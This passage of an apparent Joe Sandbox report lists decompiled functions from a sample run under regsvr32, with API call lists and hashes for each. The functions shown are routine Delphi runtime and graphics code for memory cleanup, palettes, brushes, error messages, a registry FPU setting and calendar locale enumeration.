					while(_t19 != 0x43a5e4) {
						_t1 = _t19 + 8; // 0x4da0000
						VirtualFree( *_t1, 0, 0x8000);
						_t19 =  *_t19;
					}
					E00401344(0x43a5e4);
					E00401344(0x43a5f4);
					E00401344(0x43a620);
					_t14 =  *0x43a5dc; // 0x3525640
					while(_t14 != 0) {
						 *0x43a5dc =  *_t14;
						LocalFree(_t14);
						_t14 =  *0x43a5dc; // 0x3525640
					}
					_pop(_t23);
					 *[fs:eax] = _t23;
					_push(0x401b21);
					if( *0x43a045 != 0) {
						_push(0x43a5c4);
						L004012E4();
					}
					_push(0x43a5c4);
					L004012EC();
					return 0;
				}
			}

0x00401a45
0x00401a4f
0x00401b23
0x00401a55
0x00401a57
0x00401a58
0x00401a5d
0x00401a60
0x00401a6a
0x00401a6c
0x00401a71
0x00401a71
0x00401a76
0x00401a7d
0x00401a83
0x00401a8a
0x00401a8f
0x00401aa9
0x00401a9e
0x00401aa2
0x00401aa7
0x00401aa7
0x00401ab6
0x00401ac0
0x00401aca
0x00401acf
0x00401ad6
0x00401ada
0x00401ae1
0x00401ae6
0x00401aeb
0x00401af1
0x00401af4
0x00401af7
0x00401b03
0x00401b05
0x00401b0a
0x00401b0a
0x00401b0f
0x00401b14
0x00401b19
0x00401b19

APIs

RtlEnterCriticalSection.KERNEL32(0043A5C4,00000000,00401B1A), ref: 00401A71
LocalFree.KERNEL32(03524640,00000000,00401B1A), ref: 00401A83
VirtualFree.KERNEL32(04DA0000,00000000,00008000,03524640,00000000,00401B1A), ref: 00401AA2
LocalFree.KERNEL32(03525640,04DA0000,00000000,00008000,03524640,00000000,00401B1A), ref: 00401AE1
RtlLeaveCriticalSection.KERNEL32(0043A5C4,00401B21,03524640,00000000,00401B1A), ref: 00401B0A
RtlDeleteCriticalSection.KERNEL32(0043A5C4,00401B21,03524640,00000000,00401B1A), ref: 00401B14

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: CriticalFreeSection$Local$DeleteEnterLeaveVirtual
String ID:
API String ID: 3782394904-0
Opcode ID: bba315721dcea059a0d97e112826b07b87def9f42ca552b75a8a6e690c13100d
Instruction ID: c71799a11c72a8d274dc2005d7c3a22484a3a02c935b4ca22bfb33847802534e
Opcode Fuzzy Hash: bba315721dcea059a0d97e112826b07b87def9f42ca552b75a8a6e690c13100d
Instruction Fuzzy Hash: 1E1193707846806EE711EBB69C4AF1677E4A708708F14907FF080A62F1C67C6820CF1E

Uniqueness

Uniqueness Score: -1.00%

Function 00416644 Relevance: 9.1, APIs: 6, Instructions: 55
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00416644(void* __eax, signed int __ecx) {
				char _v1036;
				signed int _v1038;
				struct tagRGBQUAD _v1048;
				short _v1066;
				void* _t20;
				struct HDC__* _t25;
				void* _t28;
				void* _t31;
				struct HPALETTE__* _t33;
				LOGPALETTE* _t34;

				_t31 = __eax;
				_t33 = 0;
				_t34->palVersion = 0x300;
				if(__eax == 0) {
					_v1038 = __ecx;
					E004027E8(_t28, __ecx << 2,  &_v1036);
				} else {
					_t25 = CreateCompatibleDC(0);
					_t20 = SelectObject(_t25, _t31);
					_v1066 = GetDIBColorTable(_t25, 0, 0x100,  &_v1048);
					SelectObject(_t25, _t20);
					DeleteDC(_t25);
				}
				if(_v1038 != 0) {
					if(_v1038 != 0x10 || E004165AC(_t34) == 0) {
						E0041643C( &_v1036, _v1038 & 0x0000ffff);
					}
					_t33 = CreatePalette(_t34);
				}
				return _t33;
			}

0x0041664d
0x0041664f
0x00416651
0x00416659
0x00416693
0x004166a1
0x0041665b
0x00416662
0x00416666
0x0041667f
0x00416686
0x0041668c
0x0041668c
0x004166ac
0x004166b4
0x004166ca
0x004166ca
0x004166d7
0x004166d7
0x004166e4

APIs

CreateCompatibleDC.GDI32(00000000), ref: 0041665D
SelectObject.GDI32(00000000,00000000), ref: 00416666
GetDIBColorTable.GDI32(00000000,00000000,00000100,?,00000000,00000000,00000000,00000000,?,?,0041A137,?,?,?,?,00418CAB), ref: 0041667A
SelectObject.GDI32(00000000,00000000), ref: 00416686
DeleteDC.GDI32(00000000), ref: 0041668C
CreatePalette.GDI32 ref: 004166D2

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: CreateObjectSelect$ColorCompatibleDeletePaletteTable
String ID:
API String ID: 2515223848-0
Opcode ID: 1b45657ceda3ae7108b29a44ec215ba013f8c33c0eae126d288aec1cb2723856
Instruction ID: c6b93bbb552ee44c366071bcd39a16c9bea4cf903ee5b2f99751c5f91e977261
Opcode Fuzzy Hash: 1b45657ceda3ae7108b29a44ec215ba013f8c33c0eae126d288aec1cb2723856
Instruction Fuzzy Hash: 9F01967110471066E614773A8D47E9B72B8DFC0718F05C92FB5889B2D2E67CCC45876E

Uniqueness

Uniqueness Score: -1.00%

Function 00415D28 Relevance: 9.0, APIs: 6, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00415D28(void* __eax) {
				void* _t36;

				_t36 = __eax;
				UnrealizeObject(E00415774( *((intOrPtr*)(__eax + 0x14))));
				SelectObject( *(_t36 + 4), E00415774( *((intOrPtr*)(_t36 + 0x14))));
				if(E00415854( *((intOrPtr*)(_t36 + 0x14))) != 0) {
					SetBkColor( *(_t36 + 4),  !(E00414BB0(E00415738( *((intOrPtr*)(_t36 + 0x14))))));
					return SetBkMode( *(_t36 + 4), 1);
				} else {
					SetBkColor( *(_t36 + 4), E00414BB0(E00415738( *((intOrPtr*)(_t36 + 0x14)))));
					return SetBkMode( *(_t36 + 4), 2);
				}
			}

0x00415d29
0x00415d34
0x00415d46
0x00415d55
0x00415d8f
0x00415da0
0x00415d57
0x00415d69
0x00415d7a
0x00415d7a

APIs

Part of subcall function 00415774: CreateBrushIndirect.GDI32(?), ref: 0041581E

UnrealizeObject.GDI32(00000000), ref: 00415D34
SelectObject.GDI32(00000000,00000000), ref: 00415D46
SetBkColor.GDI32(00000000,00000000), ref: 00415D69
SetBkMode.GDI32(00000000,00000002), ref: 00415D74
SetBkColor.GDI32(00000000,00000000), ref: 00415D8F
SetBkMode.GDI32(00000000,00000001), ref: 00415D9A

Part of subcall function 00414BB0: GetSysColor.USER32(?), ref: 00414BBA

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: Color$ModeObject$BrushCreateIndirectSelectUnrealize
String ID:
API String ID: 3527656728-0
Opcode ID: 742d045a52f0aa8e629bcb3c5da96796c7d8e93e408cf7fe3efff5ddeef7b568
Instruction ID: 238cc11bd357fbee69b02c6609263ebe98204c8b0ea7d353ca918c42fcf65b71
Opcode Fuzzy Hash: 742d045a52f0aa8e629bcb3c5da96796c7d8e93e408cf7fe3efff5ddeef7b568
Instruction Fuzzy Hash: 37F05CB5600900DADE40FFAAD9CBD9B77989F443097048496B904DF197CA39D8504B39

Uniqueness

Uniqueness Score: -1.00%

Function 0040A2AC Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 102
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A2AC(intOrPtr* __eax, intOrPtr __ecx, void* __edx, void* __fp0, intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v273;
				char _v534;
				char _v790;
				struct _MEMORY_BASIC_INFORMATION _v820;
				char _v824;
				intOrPtr _v828;
				char _v832;
				intOrPtr _v836;
				char _v840;
				intOrPtr _v844;
				char _v848;
				char* _v852;
				char _v856;
				char _v860;
				char _v1116;
				void* __edi;
				struct HINSTANCE__* _t40;
				intOrPtr _t51;
				struct HINSTANCE__* _t53;
				void* _t69;
				void* _t73;
				intOrPtr _t74;
				intOrPtr _t83;
				intOrPtr _t86;
				intOrPtr* _t87;
				void* _t93;

				_t93 = __fp0;
				_v8 = __ecx;
				_t73 = __edx;
				_t87 = __eax;
				VirtualQuery(__edx,  &_v820, 0x1c);
				if(_v820.State != 0x1000 || GetModuleFileNameA(_v820.AllocationBase,  &_v534, 0x105) == 0) {
					_t40 =  *0x43a660; // 0x400000
					GetModuleFileNameA(_t40,  &_v534, 0x105);
					_v12 = E0040A2A0(_t73);
				} else {
					_v12 = _t73 - _v820.AllocationBase;
				}
				E004076F8( &_v273, 0x104, E0040B22C(0x5c) + 1);
				_t74 = 0x40a42c;
				_t86 = 0x40a42c;
				_t83 =  *0x406218; // 0x406264
				if(E004030B8(_t87, _t83) != 0) {
					_t74 = E004040F8( *((intOrPtr*)(_t87 + 4)));
					_t69 = E004076D0(_t74, 0x40a42c);
					if(_t69 != 0 &&  *((char*)(_t74 + _t69 - 1)) != 0x2e) {
						_t86 = 0x40a430;
					}
				}
				_t51 =  *0x4390b4; // 0x405fc8
				_t16 = _t51 + 4; // 0xffe8
				_t53 =  *0x43a660; // 0x400000
				LoadStringA(E00404C20(_t53),  *_t16,  &_v790, 0x100);
				E00402EA4( *_t87,  &_v1116);
				_v860 =  &_v1116;
				_v856 = 4;
				_v852 =  &_v273;
				_v848 = 6;
				_v844 = _v12;
				_v840 = 5;
				_v836 = _t74;
				_v832 = 6;
				_v828 = _t86;
				_v824 = 6;
				E00407C3C(_v8,  &_v790, _a4, _t93, 4,  &_v860);
				return E004076D0(_v8, _t86);
			}

0x0040a2ac
0x0040a2b8
0x0040a2bb
0x0040a2bd
0x0040a2c9
0x0040a2d8
0x0040a302
0x0040a308
0x0040a314
0x0040a319
0x0040a31f
0x0040a31f
0x0040a33d
0x0040a342
0x0040a347
0x0040a34e
0x0040a35b
0x0040a365
0x0040a369
0x0040a370
0x0040a379
0x0040a379
0x0040a370
0x0040a38a
0x0040a38f
0x0040a393
0x0040a39e
0x0040a3ab
0x0040a3b6
0x0040a3bc
0x0040a3c9
0x0040a3cf
0x0040a3d9
0x0040a3df
0x0040a3e6
0x0040a3ec
0x0040a3f3
0x0040a3f9
0x0040a415
0x0040a428

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 0040A2C9
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0040A2ED
GetModuleFileNameA.KERNEL32(00400000,?,00000105), ref: 0040A308
LoadStringA.USER32 ref: 0040A39E

Strings

db@, xrefs: 0040A34E

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID: db@
API String ID: 3990497365-2441671259
Opcode ID: bba37a8eb6f699b52776aac6bf7e20bc5db47204b589f24cd818deae79104916
Instruction ID: 526cdef664a4944d68bb2dea93051828bbc51e599df36af930b8de71012ec136
Opcode Fuzzy Hash: bba37a8eb6f699b52776aac6bf7e20bc5db47204b589f24cd818deae79104916
Instruction Fuzzy Hash: 73412E709002589BDB21DB69CC85BDEB7B8AB08304F4440FAA548F7292D778AF948F59

Uniqueness

Uniqueness Score: -1.00%

Function 0040A2AA Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A2AA(intOrPtr* __eax, intOrPtr __ecx, void* __edx, intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v273;
				char _v534;
				char _v790;
				struct _MEMORY_BASIC_INFORMATION _v820;
				char _v824;
				intOrPtr _v828;
				char _v832;
				intOrPtr _v836;
				char _v840;
				intOrPtr _v844;
				char _v848;
				char* _v852;
				char _v856;
				char _v860;
				char _v1116;
				void* __edi;
				struct HINSTANCE__* _t40;
				intOrPtr _t51;
				struct HINSTANCE__* _t53;
				void* _t69;
				void* _t74;
				intOrPtr _t75;
				intOrPtr _t85;
				intOrPtr _t89;
				intOrPtr* _t92;
				void* _t105;

				_v8 = __ecx;
				_t74 = __edx;
				_t92 = __eax;
				VirtualQuery(__edx,  &_v820, 0x1c);
				if(_v820.State != 0x1000 || GetModuleFileNameA(_v820.AllocationBase,  &_v534, 0x105) == 0) {
					_t40 =  *0x43a660; // 0x400000
					GetModuleFileNameA(_t40,  &_v534, 0x105);
					_v12 = E0040A2A0(_t74);
				} else {
					_v12 = _t74 - _v820.AllocationBase;
				}
				E004076F8( &_v273, 0x104, E0040B22C(0x5c) + 1);
				_t75 = 0x40a42c;
				_t89 = 0x40a42c;
				_t85 =  *0x406218; // 0x406264
				if(E004030B8(_t92, _t85) != 0) {
					_t75 = E004040F8( *((intOrPtr*)(_t92 + 4)));
					_t69 = E004076D0(_t75, 0x40a42c);
					if(_t69 != 0 &&  *((char*)(_t75 + _t69 - 1)) != 0x2e) {
						_t89 = 0x40a430;
					}
				}
				_t51 =  *0x4390b4; // 0x405fc8
				_t16 = _t51 + 4; // 0xffe8
				_t53 =  *0x43a660; // 0x400000
				LoadStringA(E00404C20(_t53),  *_t16,  &_v790, 0x100);
				E00402EA4( *_t92,  &_v1116);
				_v860 =  &_v1116;
				_v856 = 4;
				_v852 =  &_v273;
				_v848 = 6;
				_v844 = _v12;
				_v840 = 5;
				_v836 = _t75;
				_v832 = 6;
				_v828 = _t89;
				_v824 = 6;
				E00407C3C(_v8,  &_v790, _a4, _t105, 4,  &_v860);
				return E004076D0(_v8, _t89);
			}

0x0040a2b8
0x0040a2bb
0x0040a2bd
0x0040a2c9
0x0040a2d8
0x0040a302
0x0040a308
0x0040a314
0x0040a319
0x0040a31f
0x0040a31f
0x0040a33d
0x0040a342
0x0040a347
0x0040a34e
0x0040a35b
0x0040a365
0x0040a369
0x0040a370
0x0040a379
0x0040a379
0x0040a370
0x0040a38a
0x0040a38f
0x0040a393
0x0040a39e
0x0040a3ab
0x0040a3b6
0x0040a3bc
0x0040a3c9
0x0040a3cf
0x0040a3d9
0x0040a3df
0x0040a3e6
0x0040a3ec
0x0040a3f3
0x0040a3f9
0x0040a415
0x0040a428

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 0040A2C9
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0040A2ED
GetModuleFileNameA.KERNEL32(00400000,?,00000105), ref: 0040A308
LoadStringA.USER32 ref: 0040A39E

Strings

db@, xrefs: 0040A34E

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID: db@
API String ID: 3990497365-2441671259
Opcode ID: 67c763fb436710ff3fa6ec6e4488c7eaa3bd1de2891613f3f108b3d4e0367d5c
Instruction ID: 6c5c82dba05d3d3ea0a95fbd20d4ed5b0f6de9327ab78c6c76c0a76e996f048b
Opcode Fuzzy Hash: 67c763fb436710ff3fa6ec6e4488c7eaa3bd1de2891613f3f108b3d4e0367d5c
Instruction Fuzzy Hash: 13413E70A002589BDB21DB69CC85BDEB7F89B08304F4440FAA548F7292D778AF948F59

Uniqueness

Uniqueness Score: -1.00%

Function 00402DCC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49
registryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E00402DCC() {
				void* _v8;
				char _v12;
				int _v16;
				void** _t10;
				signed short _t11;
				signed short _t13;
				intOrPtr _t26;
				void* _t28;
				void* _t30;
				intOrPtr _t31;

				_t28 = _t30;
				_t31 = _t30 + 0xfffffff4;
				_v12 =  *0x437020 & 0x0000ffff;
				_t10 =  &_v8;
				_push(_t10);
				_push(1);
				_push(0);
				_push("SOFTWARE\\Borland\\Delphi\\RTL");
				_push(0x80000002);
				L00401238();
				if(_t10 != 0) {
					_t11 =  *0x437020; // 0x27f
					_t13 = _t11 & 0x0000ffc0 | _v12 & 0x0000003f;
					 *0x437020 = _t13;
					return _t13;
				} else {
					_push(_t28);
					_push(E00402E3D);
					_push( *[fs:eax]);
					 *[fs:eax] = _t31;
					_v16 = 4;
					RegQueryValueExA(_v8, "FPUMaskValue", 0, 0,  &_v12,  &_v16);
					_pop(_t26);
					 *[fs:eax] = _t26;
					_push(0x402e44);
					return RegCloseKey(_v8);
				}
			}

0x00402dcd
0x00402dcf
0x00402dd9
0x00402ddc
0x00402ddf
0x00402de0
0x00402de2
0x00402de4
0x00402de9
0x00402dee
0x00402df5
0x00402e44
0x00402e56
0x00402e59
0x00402e62
0x00402df7
0x00402df9
0x00402dfa
0x00402dff
0x00402e02
0x00402e05
0x00402e21
0x00402e28
0x00402e2b
0x00402e2e
0x00402e3c
0x00402e3c

APIs

6DB16790.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00402DEE
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,00402E3D,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00402E21
RegCloseKey.ADVAPI32(?,00402E44,00000000,?,00000004,00000000,00402E3D,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00402E37

Strings

SOFTWARE\Borland\Delphi\RTL, xrefs: 00402DE4
FPUMaskValue, xrefs: 00402E18

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: B16790CloseQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 1110194839-4173385793
Opcode ID: 91d9127588b88b48acb0ed84f31ce038aebc1d18db4af6101ed88f9e037d6fbb
Instruction ID: 119b992ddba915c8a64ef265fd7a8256368d77f7896fc310c36aaa39ff06eaf9
Opcode Fuzzy Hash: 91d9127588b88b48acb0ed84f31ce038aebc1d18db4af6101ed88f9e037d6fbb
Instruction Fuzzy Hash: B4018875A4430CBADB15DB90CD46FAA77BCEB08700F1001B6FA04F65D0E6B85910C79C

Uniqueness

Uniqueness Score: -1.00%

Function 0041A0EC Relevance: 7.6, APIs: 5, Instructions: 66
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041A0EC(int __eax) {
				int _t21;
				signed int _t29;
				char _t34;
				int _t42;
				int _t43;
				struct HDC__* _t44;
				intOrPtr _t45;

				_t21 = __eax;
				_t42 = __eax;
				_t45 =  *((intOrPtr*)(__eax + 0x28));
				if( *((char*)(__eax + 0x30)) == 0 &&  *(_t45 + 0x10) == 0 &&  *((intOrPtr*)(_t45 + 0x14)) != 0) {
					_t22 =  *((intOrPtr*)(_t45 + 0x14));
					if( *((intOrPtr*)(_t45 + 0x14)) ==  *((intOrPtr*)(_t45 + 8))) {
						E00418AD4(_t22);
					}
					_t21 = E00416644( *((intOrPtr*)(_t45 + 0x14)), 1 <<  *(_t45 + 0x3e));
					_t43 = _t21;
					 *(_t45 + 0x10) = _t43;
					if(_t43 == 0) {
						_t44 = E00415F54(GetDC(0));
						if( *((char*)(_t45 + 0x71)) != 0) {
							L9:
							_t34 = 1;
						} else {
							_t29 = GetDeviceCaps(_t44, 0xc);
							if(_t29 * GetDeviceCaps(_t44, 0xe) < ( *(_t45 + 0x2a) & 0x0000ffff) * ( *(_t45 + 0x28) & 0x0000ffff)) {
								goto L9;
							} else {
								_t34 = 0;
							}
						}
						 *((char*)(_t45 + 0x71)) = _t34;
						if(_t34 != 0) {
							 *(_t45 + 0x10) = CreateHalftonePalette(_t44);
						}
						_t21 = ReleaseDC(0, _t44);
						if( *(_t45 + 0x10) == 0) {
							 *((char*)(_t42 + 0x30)) = 1;
							return _t21;
						}
					}
				}
				return _t21;
			}

0x0041a0ec
0x0041a0f0
0x0041a0f2
0x0041a0f9
0x0041a113
0x0041a119
0x0041a11b
0x0041a11b
0x0041a132
0x0041a137
0x0041a139
0x0041a13e
0x0041a14c
0x0041a152
0x0041a17b
0x0041a17b
0x0041a154
0x0041a157
0x0041a175
0x00000000
0x0041a177
0x0041a177
0x0041a177
0x0041a175
0x0041a17d
0x0041a182
0x0041a18a
0x0041a18a
0x0041a190
0x0041a199
0x0041a19b
0x00000000
0x0041a19b
0x0041a199
0x0041a13e
0x0041a1a3

APIs

GetDC.USER32(00000000), ref: 0041A142
GetDeviceCaps.GDI32(00000000,0000000C), ref: 0041A157
GetDeviceCaps.GDI32(00000000,0000000E), ref: 0041A161
CreateHalftonePalette.GDI32(00000000,00000000,?,?,?,?,00418CAB,00000000,00418D37), ref: 0041A185
ReleaseDC.USER32 ref: 0041A190

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: CapsDevice$CreateHalftonePaletteRelease
String ID:
API String ID: 2404249990-0
Opcode ID: c145f4f69fd2c3e0ad45265044b0bd3395b105abd3980150a03fa9c9ec9dd017
Instruction ID: 92fd23d9a112ff123312dd031f4835581b04dde5f3abcdae79a1676102a74ae0
Opcode Fuzzy Hash: c145f4f69fd2c3e0ad45265044b0bd3395b105abd3980150a03fa9c9ec9dd017
Instruction Fuzzy Hash: BE117F31606799BAEB21EF6588417EF3B95AB10355F04112BF8049A2C1D7B88CE4C7AA

Uniqueness

Uniqueness Score: -1.00%

Function 004165AC Relevance: 7.6, APIs: 5, Instructions: 55
windowCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E004165AC(void* __eax) {
				char _v5;
				struct HDC__* _v12;
				struct HPALETTE__* _t21;
				struct HPALETTE__* _t25;
				void* _t28;
				intOrPtr _t35;
				void* _t37;
				void* _t39;
				intOrPtr _t40;

				_t37 = _t39;
				_t40 = _t39 + 0xfffffff8;
				_t28 = __eax;
				_v5 = 0;
				if( *0x43a880 == 0) {
					return _v5;
				} else {
					_v12 = GetDC(0);
					_push(_t37);
					_push(0x416632);
					_push( *[fs:edx]);
					 *[fs:edx] = _t40;
					if(GetDeviceCaps(_v12, 0x68) >= 0x10) {
						_t21 =  *0x43a880; // 0x1c0805c3
						GetPaletteEntries(_t21, 0, 8, _t28 + 4);
						_t25 =  *0x43a880; // 0x1c0805c3
						GetPaletteEntries(_t25, 8, 8, _t28 + ( *(_t28 + 2) & 0x0000ffff) * 4 - 0x1c);
						_v5 = 1;
					}
					_pop(_t35);
					 *[fs:eax] = _t35;
					_push(0x416639);
					return ReleaseDC(0, _v12);
				}
			}

0x004165ad
0x004165af
0x004165b3
0x004165b5
0x004165c0
0x00416640
0x004165c2
0x004165c9
0x004165ce
0x004165cf
0x004165d4
0x004165d7
0x004165e8
0x004165f2
0x004165f8
0x0041660a
0x00416610
0x00416615
0x00416615
0x0041661b
0x0041661e
0x00416621
0x00416631
0x00416631

APIs

GetDC.USER32(00000000), ref: 004165C4
GetDeviceCaps.GDI32(?,00000068), ref: 004165E0
GetPaletteEntries.GDI32(1C0805C3,00000000,00000008,?), ref: 004165F8
GetPaletteEntries.GDI32(1C0805C3,00000008,00000008,?), ref: 00416610
ReleaseDC.USER32 ref: 0041662C

Memory Dump Source

Source File: 0000000D.00000002.425590852.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.425574352.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427142326.0000000000437000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427297658.0000000000439000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427415369.000000000043A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.427762141.000000000043D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_regsvr32.jbxd

Similarity

API ID: EntriesPalette$CapsDeviceRelease
String ID:
API String ID: 3128150645-0
Opcode ID: 62ee49ab755f412a03e306d2e23f9c502aaf048b28b73d80cf2cae5fd25a0f80
Instruction ID: f0c58fb61da70714bda15533055175ec7a4e10616e25ddc204ef74215c71ab7f
Opcode Fuzzy Hash: 62ee49ab755f412a03e306d2e23f9c502aaf048b28b73d80cf2cae5fd25a0f80
Instruction Fuzzy Hash: 341108315883047EEB04EBA5DC42FAE77ECE744704F54806BF5449B1C1DA799845CB2D

Uniqueness

Uniqueness Score: -1.00%

Function 00409FC8 Relevance: 7.6, APIs: 5, Instructions: 50
threadCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E00409FC8(void* __esi, void* __eflags) {
				char _v8;
				intOrPtr* _t18;
				intOrPtr _t26;
				void* _t27;
				long _t29;
				intOrPtr _t32;
				void* _t33;

				_t33 = __eflags;
				_push(0);
				_push(_t32);
				_push(0x40a05f);
				_push( *[fs:eax]);
				 *[fs:eax] = _t32;
				E00409D40(GetThreadLocale(), 0x40a074, 0x100b,  &_v8);
				_t29 = E00407248(0x40a074, 1, _t33);
				if(_t29 + 0xfffffffd - 3 < 0) {
					EnumCalendarInfoA(E00409F14, GetThreadLocale(), _t29, 4);
					_t27 = 7;
					_t18 = 0x43a768;
					do {
						 *_t18 = 0xffffffff;
						_t18 = _t18 + 4;
						_t27 = _t27 - 1;
					} while (_t27 != 0);
					EnumCalendarInfoA(E00409F50, GetThreadLocale(), _t29, 3);
				}
				_pop(_t26);
				 *[fs:eax] = _t26;
				_push(E0040A066);
				return E00403C38( &_v8);
			}

0x00409fc8
0x00409fcb
0x00409fd0
0x00409fd1
0x00409fd6
0x00409fd9
0x00409fef
0x0040a001
0x0040a00b
0x0040a01b
0x0040a020
0x0040a025
0x0040a02a
0x0040a02a
0x0040a030
0x0040a033
0x0040a033
0x0040a044
0x0040a044
0x0040a04b
0x0040a04e
0x0040a051
0x0040a05e

APIs

